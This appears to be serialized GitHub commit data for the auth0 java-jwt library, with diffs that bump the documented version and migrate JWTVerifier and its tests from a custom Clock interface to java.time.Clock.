 u}(jk  (0f847ccabe32ccfb0d0b925ebe5214f8f3908851j׾  	README.mdjپ  modifiedjѾ  KjҾ  Kj۾  Kjܾ  Yhttps://github.com/auth0/java-jwt/blob/1c3f553c0b46c62a4ba5ae76ea06127c5423ce5b/README.mdj޾  Xhttps://github.com/auth0/java-jwt/raw/1c3f553c0b46c62a4ba5ae76ea06127c5423ce5b/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=1c3f553c0b46c62a4ba5ae76ea06127c5423ce5bj  X  @@ -23,14 +23,14 @@ The library is available on both Maven Central and Bintray, and the Javadoc is p
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.18.3</version>
+    <version>3.19.0</version>
 </dependency>
 ```
 
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:3.18.3'
+implementation 'com.auth0:java-jwt:3.19.0'
 ```
 
 ## Available Algorithmsueu(da4a094fb5a9d70dd0e55672d153b1d9f338ebd8}(sha(da4a094fb5a9d70dd0e55672d153b1d9f338ebd8node_idEC_kwDOAQtL0doAKGRhNGEwOTRmYjVhOWQ3MGRkMGU1NTY3MmQxNTNiMWQ5ZjMzOGViZDgcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-07T12:15:08Zu	committer}(j  
Poovamraj T Tj  poovamraj@gmail.comj  2022-03-07T12:15:08Zumessage Remove unwanted "ignore" importstree}(j  (3d7ea6701106395e8425db948905cee9f1d0107burl^https://api.github.com/repos/auth0/java-jwt/git/trees/3d7ea6701106395e8425db948905cee9f1d0107buj  `https://api.github.com/repos/auth0/java-jwt/git/commits/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8html_urlQhttps://github.com/auth0/java-jwt/commit/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  	poovamrajj  J j  MDQ6VXNlcjE1OTEwNDI1j  4https://avatars.githubusercontent.com/u/15910425?v=4j  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj   0https://api.github.com/users/poovamraj/followersj"  =https://api.github.com/users/poovamraj/following{/other_user}j$  6https://api.github.com/users/poovamraj/gists{/gist_id}j&  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j(  4https://api.github.com/users/poovamraj/subscriptionsj*  +https://api.github.com/users/poovamraj/orgsj,  ,https://api.github.com/users/poovamraj/reposj.  7https://api.github.com/users/poovamraj/events{/privacy}j0  6https://api.github.com/users/poovamraj/received_eventsj2  Userj4  uparents]}(j  (9c2d51f3a408dee49545b471a07f3957b4089b3dj  \https://api.github.com/repos/auth0/java-jwt/commits/9c2d51f3a408dee49545b471a07f3957b4089b3dj  Qhttps://github.com/auth0/java-jwt/commit/9c2d51f3a408dee49545b471a07f3957b4089b3duastats}(totalK
	additionsK	deletionsKufiles](}(j  (f4de1f71740fd3fdbc3cd72397eff027a99cc87afilename9lib/src/test/java/com/auth0/jwt/ConcurrentVerifyTest.javastatusmodifiedjN  KjO  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FConcurrentVerifyTest.java?ref=da4a094fb5a9d70dd0e55672d153b1d9f338ebd8patchXi  @@ -3,7 +3,10 @@
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import net.jodah.concurrentunit.Waiter;
-import org.junit.*;
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
 import java.security.interfaces.ECKey;u}(j  (0cbafc35018652195c6f5a2d8a89561dfc0be845jT  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javajV  modifiedjN  K jO  KjX  KjY  https://github.com/auth0/java-jwt/blob/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj[  https://github.com/auth0/java-jwt/raw/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj]  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=da4a094fb5a9d70dd0e55672d153b1d9f338ebd8j_  @@ -6,7 +6,6 @@
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
 
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;u}(j  (20bb384b7e8be99161b48ede2bc628deb16144cejT  ,lib/src/test/java/com/auth0/jwt/JWTTest.javajV  modifiedjN  K jO  KjX  KjY  https://github.com/auth0/java-jwt/blob/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj[  https://github.com/auth0/java-jwt/raw/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj]  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=da4a094fb5a9d70dd0e55672d153b1d9f338ebd8j_  X  @@ -4,7 +4,6 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
 import org.hamcrest.core.IsCollectionContaining;
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;u}(j  (8dd00ca3a805ca26e18d680051f4dff0223490c2jT  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javajV  modifiedjN  K jO  KjX  KjY  https://github.com/auth0/java-jwt/blob/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj[  https://github.com/auth0/java-jwt/raw/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj]  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=da4a094fb5a9d70dd0e55672d153b1d9f338ebd8j_  @@ -6,7 +6,6 @@
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import org.hamcrest.Matchers;
 import org.hamcrest.collection.IsIn;
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;u}(j  (675baeff3a24741f4f047c24500b4093bc74e621jT  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javajV  modifiedjN  KjO  KjX  KjY  https://github.com/auth0/java-jwt/blob/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj[  https://github.com/auth0/java-jwt/raw/da4a094fb5a9d70dd0e55672d153b1d9f338ebd8/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj]  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=da4a094fb5a9d70dd0e55672d153b1d9f338ebd8j_  X  @@ -5,7 +5,10 @@
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import org.bouncycastle.jce.provider.BouncyCastleProvider;
-import org.junit.*;
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
 import java.nio.charset.StandardCharsets;ueu(265eadeb483bc76f64661547a5c01812b8578f29}(sha(265eadeb483bc76f64661547a5c01812b8578f29node_idEC_kwDOAQtL0doAKDI2NWVhZGViNDgzYmM3NmY2NDY2MTU0N2E1YzAxODEyYjg1NzhmMjkcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-01T14:29:11Zu	committer}(j  James Andersonj  jim.anderson@auth0.comj  2022-03-01T14:29:48ZumessageF[SDK-3160] Replace com.auth0.jwt.interfaces.Clock with java.time.Clocktree}(j  (6dde074728230e091b41fd78fe6304be15ace615url^https://api.github.com/repos/auth0/java-jwt/git/trees/6dde074728230e091b41fd78fe6304be15ace615uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/265eadeb483bc76f64661547a5c01812b8578f29
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/265eadeb483bc76f64661547a5c01812b8578f29html_urlQhttps://github.com/auth0/java-jwt/commit/265eadeb483bc76f64661547a5c01812b8578f29comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/265eadeb483bc76f64661547a5c01812b8578f29/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  
jimmyjamesj  J7 j  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposjÿ  8https://api.github.com/users/jimmyjames/events{/privacy}jſ  7https://api.github.com/users/jimmyjames/received_eventsjǿ  Userjɿ  uparents]}(j  (56a3463d5c2c6942d040a323a88c9c46b086b70cj  \https://api.github.com/repos/auth0/java-jwt/commits/56a3463d5c2c6942d040a323a88c9c46b086b70cj  Qhttps://github.com/auth0/java-jwt/commit/56a3463d5c2c6942d040a323a88c9c46b086b70cuastats}(totalKx	additionsK&	deletionsKRufiles](}(j  (9a7ea2b21ddf2aa62dd0e87c5173c855d1b862ecfilename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj  Kj  KchangesK	blob_urlhttps://github.com/auth0/java-jwt/blob/265eadeb483bc76f64661547a5c01812b8578f29/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/265eadeb483bc76f64661547a5c01812b8578f29/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=265eadeb483bc76f64661547a5c01812b8578f29patchX  @@ -6,12 +6,11 @@
 import com.auth0.jwt.impl.NullClaim;
 import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
-import com.auth0.jwt.interfaces.Clock;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 
 import java.util.*;
-import java.util.stream.Collectors;
+import java.time.Clock;
 
 /**
  * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also its signature matches.
@@ -200,15 +199,15 @@ public Verification withArrayClaim(String name, Long... items) throws IllegalArg
 
         @Override
         public JWTVerifier build() {
-            return this.build(new ClockImpl());
+            return this.build(Clock.systemUTC());
         }
 
         /**
          * Creates a new and reusable instance of the JWTVerifier with the configuration already provided.
          * ONLY FOR TEST PURPOSES.
          *
          * @param clock the instance that will handle the current time.
-         * @return a new JWTVerifier instance with a custom Clock.
+         * @return a new JWTVerifier instance with a custom {@link java.time.Clock}
          */
         public JWTVerifier build(Clock clock) {
             addLeewayToDateClaims();
@@ -405,7 +404,7 @@ private void assertValidStringClaim(String claimName, String value, String expec
     }
 
     private void assertValidDateClaim(Date date, long leeway, boolean shouldBeFuture) {
-        Date today = new Date(clock.getToday().getTime());
+        Date today = new Date(clock.millis());
         today.setTime(today.getTime() / 1000 * 1000); // truncate millis
         if (shouldBeFuture) {
             assertDateIsFuture(date, leeway, today);u}(j  (20bb384b7e8be99161b48ede2bc628deb16144cej  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj  modifiedj  K
j  Kj  Kj  https://github.com/auth0/java-jwt/blob/265eadeb483bc76f64661547a5c01812b8578f29/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://github.com/auth0/java-jwt/raw/265eadeb483bc76f64661547a5c01812b8578f29/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=265eadeb483bc76f64661547a5c01812b8578f29j  X  @@ -1,7 +1,6 @@
 package com.auth0.jwt;
 
 import com.auth0.jwt.algorithms.Algorithm;
-import com.auth0.jwt.interfaces.Clock;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import org.hamcrest.collection.IsCollectionWithSize;
 import org.hamcrest.core.IsCollectionContaining;
@@ -14,6 +13,9 @@
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.ECPublicKey;
 import java.security.interfaces.RSAKey;
+import java.time.Clock;
+import java.time.Instant;
+import java.time.ZoneId;
 import java.util.Base64;
 import java.util.Date;
 
@@ -36,7 +38,6 @@ public class JWTTest {
     private static final String PRIVATE_KEY_FILE_EC_384 = "src/test/resources/ec384-key-private.pem";
     private static final String PRIVATE_KEY_FILE_EC_512 = "src/test/resources/ec512-key-private.pem";
 
-
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
@@ -274,9 +275,8 @@ public void shouldGetStringAudience() throws Exception {
 
     @Test
     public void shouldGetExpirationTime() throws Exception {
-        Date expectedDate = new Date(1477592 * 1000);
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(expectedDate);
+        long seconds = 1477592L;
+        Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
 
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0Nzc1OTJ9.x_ZjkPkKYUV5tdvc0l8go6D_z2kez1MQcOxokXrDc3k";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
@@ -287,14 +287,13 @@ public void shouldGetExpirationTime() throws Exception {
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getExpiresAt(), is(instanceOf(Date.class)));
         assertThat(jwt.getExpiresAt(), is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getExpiresAt(), is(equalTo(new Date(seconds * 1000))));
     }
 
     @Test
-    public void shouldGetNotBefore() throws Exception {
-        Date expectedDate = new Date(1477592 * 1000);
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(expectedDate);
+    public void shouldGetNotBefore() {
+        long seconds = 1477592;
+        Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
 
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0Nzc1OTJ9.mWYSOPoNXstjKbZkKrqgkwPOQWEx3F3gMm6PMcfuJd8";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
@@ -305,14 +304,13 @@ public void shouldGetNotBefore() throws Exception {
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getNotBefore(), is(instanceOf(Date.class)));
         assertThat(jwt.getNotBefore(), is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(equalTo(expectedDate)));
+        assertThat(jwt.getNotBefore(), is(equalTo(new Date(seconds * 1000))));
     }
 
     @Test
     public void shouldGetIssuedAt() throws Exception {
-        Date expectedDate = new Date(1477592 * 1000);
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(expectedDate);
+        long seconds = 1477592;
+        Clock clock = Clock.fixed(Instant.ofEpochSecond(seconds), ZoneId.of("UTC"));
 
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.5o1CKlLFjKKcddZzoarQ37pq7qZqNPav3sdZ_bsZaD4";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWT.require(Algorithm.HMAC256("secret"));
@@ -323,7 +321,7 @@ public void shouldGetIssuedAt() throws Exception {
         assertThat(jwt, is(notNullValue()));
         assertThat(jwt.getIssuedAt(), is(instanceOf(Date.class)));
         assertThat(jwt.getIssuedAt(), is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getIssuedAt(), is(equalTo(new Date(seconds * 1000))));
     }
 
     @Testu}(j  (48b0ab4f6f81072d3a8ce72d035c67a1600ef8bbj  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj  modifiedj  Kj  K>j  KSj  https://github.com/auth0/java-jwt/blob/265eadeb483bc76f64661547a5c01812b8578f29/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://github.com/auth0/java-jwt/raw/265eadeb483bc76f64661547a5c01812b8578f29/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=265eadeb483bc76f64661547a5c01812b8578f29j  Xw*  @@ -4,13 +4,16 @@
 import com.auth0.jwt.exceptions.AlgorithmMismatchException;
 import com.auth0.jwt.exceptions.InvalidClaimException;
 import com.auth0.jwt.exceptions.TokenExpiredException;
-import com.auth0.jwt.interfaces.Clock;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
+import java.time.Clock;
+import java.time.Duration;
+import java.time.Instant;
+import java.time.ZoneId;
 import java.util.Collections;
 import java.util.Date;
 import java.util.HashMap;
@@ -23,7 +26,10 @@
 
 public class JWTVerifierTest {
 
-    private static final long DATE_TOKEN_MS_VALUE = 1477592 * 1000;
+    private Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));
+    private Clock mockOneSecondEarlier = Clock.offset(mockNow, Duration.ofSeconds(-1));
+    private Clock mockOneSecondLater = Clock.offset(mockNow, Duration.ofSeconds(1));
+
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
@@ -450,7 +456,7 @@ public void shouldThrowOnInvalidCustomClaimValue() throws Exception {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
         Map<String, Object> map = new HashMap<>();
         map.put("name", new Object());
-        JWTVerifier verifier = new JWTVerifier(Algorithm.HMAC256("secret"), map, new ClockImpl());
+        JWTVerifier verifier = new JWTVerifier(Algorithm.HMAC256("secret"), map, Clock.systemUTC());
         verifier.verify(token);
     }
 
@@ -658,48 +664,25 @@ public void shouldThrowOnNegativeCustomLeeway() throws Exception {
                 .acceptLeeway(-1);
     }
 
-    @Test
-    public void shouldNotModifyOriginalClockDateWhenVerifying() throws Exception {
-        Clock clock = mock(Clock.class);
-        Date clockDate = spy(new Date(DATE_TOKEN_MS_VALUE));
-        when(clock.getToday()).thenReturn(clockDate);
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
-        JWTVerifier verifier = verification
-                .build(clock);
-
-        DecodedJWT jwt = verifier.verify(token);
-        assertThat(jwt, is(notNullValue()));
-
-        verify(clockDate, never()).setTime(anyLong());
-    }
-
     // Expires At
     @Test
     public void shouldValidateExpiresAtWithLeeway() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE + 1000));
-
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptExpiresAt(2);
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockOneSecondLater)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
-    public void shouldValidateExpiresAtIfPresent() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE));
-
+    public void shouldValidateExpiresAtIfPresent() {
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockNow)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
@@ -709,13 +692,11 @@ public void shouldValidateExpiresAtIfPresent() throws Exception {
     public void shouldThrowOnInvalidExpiresAtIfPresent() throws Exception {
         exception.expect(TokenExpiredException.class);
         exception.expectMessage(startsWith("The Token has expired on"));
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE + 1000));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         verification
-                .build(clock)
+                .build(mockOneSecondLater)
                 .verify(token);
     }
 
@@ -731,14 +712,11 @@ public void shouldThrowOnNegativeExpiresAtLeeway() throws Exception {
     // Not before
     @Test
     public void shouldValidateNotBeforeWithLeeway() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
-
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptNotBefore(2);
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockOneSecondEarlier)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
@@ -748,25 +726,20 @@ public void shouldValidateNotBeforeWithLeeway() throws Exception {
     public void shouldThrowOnInvalidNotBeforeIfPresent() throws Exception {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage(startsWith("The Token can't be used before"));
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE0Nzc1OTJ9.wq4ZmnSF2VOxcQBxPLfeh1J2Ozy1Tj5iUaERm3FKaw8";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         verification
-                .build(clock)
+                .build(mockOneSecondEarlier)
                 .verify(token);
     }
 
     @Test
     public void shouldValidateNotBeforeIfPresent() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE));
-
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockNow)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
@@ -784,69 +757,55 @@ public void shouldThrowOnNegativeNotBeforeLeeway() throws Exception {
     // Issued At with future date
     @Test(expected = InvalidClaimException.class)
     public void shouldThrowOnFutureIssuedAt() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
-
         String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
 
-        DecodedJWT jwt = verification.build(clock).verify(token);
+        DecodedJWT jwt = verification.build(mockOneSecondEarlier).verify(token);
         assertThat(jwt, is(notNullValue()));
     }
 
     // Issued At with future date and ignore flag
     @Test
     public void shouldSkipIssuedAtVerificationWhenFlagIsPassed() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
-
         String token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0Nzc1OTJ9.CWq-6pUXl1bFg81vqOUZbZrheO2kUBd2Xr3FUZmvudE";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         verification.ignoreIssuedAt();
 
-        DecodedJWT jwt = verification.build(clock).verify(token);
+        DecodedJWT jwt = verification.build(mockOneSecondEarlier).verify(token);
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
     public void shouldThrowOnInvalidIssuedAtIfPresent() throws Exception {
         exception.expect(InvalidClaimException.class);
         exception.expectMessage(startsWith("The Token can't be used before"));
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 1000));
 
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
